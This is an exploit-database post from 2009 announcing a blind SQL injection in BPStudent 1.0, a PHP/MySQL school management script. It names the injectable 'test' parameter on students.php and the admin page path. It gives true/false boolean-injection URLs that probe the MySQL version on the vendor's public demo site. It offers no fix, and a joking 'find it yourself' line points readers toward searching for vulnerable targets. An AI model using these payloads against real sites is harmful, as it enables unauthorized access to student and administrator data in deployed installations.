BPStudent 1.0 blind SQL Injection

=================================
BPStudent 1.0 blind SQL Injection
=================================

[x]========================================================================================================================================[x]
 | Title            : BPStudent 1.0 blind SQL Vulnerabilities                                       |
 | Software         : BPStudent                                                     |
 | Vendor           : http://bpowerhouse.info                                               |
 | Date         : 22 September 2009 ( Indonesia )                                           |
 | Author           : OoN_Boy                                                       |
[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Technology       : PHP5                                                                                                              |
 | Database     : MySQL                                                                                                             |
 | Version      : 1.0                                                                                                               |
 | License      : GNU GPL                                                                                                           |
 | Price        : $27.90                                                                                                            |
 | Description      : This script is a  on site school script, students can register, download study material and take exams- system    |
 |            will mark the exams and student can graduate courses, administrator can create exams, manage students and courses |
[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Google Dork      : cari sendiri yah :)                                                   |
[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Exploit      : http://localhost/[path]/students.php?page=preview&test=[sql]                              |
 | Aadmin Page      : http://localhost/[path]/admin/index.php                                       |
[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Proof of concept : http://bpowerhouse.com/demos/bpstudentsDemo/students.php?page=preview&test=1+and+substring(@@version,1,1)=5 True  |
 |            http://bpowerhouse.com/demos/bpstudentsDemo/students.php?page=preview&test=1+and+substring(@@version,1,1)=4 False |
 |          : Mesti login untuk mencoba exploitnya :)                                       |
[x]========================================================================================================================================[x]
 
 

#  0day.today [2018-03-19]  #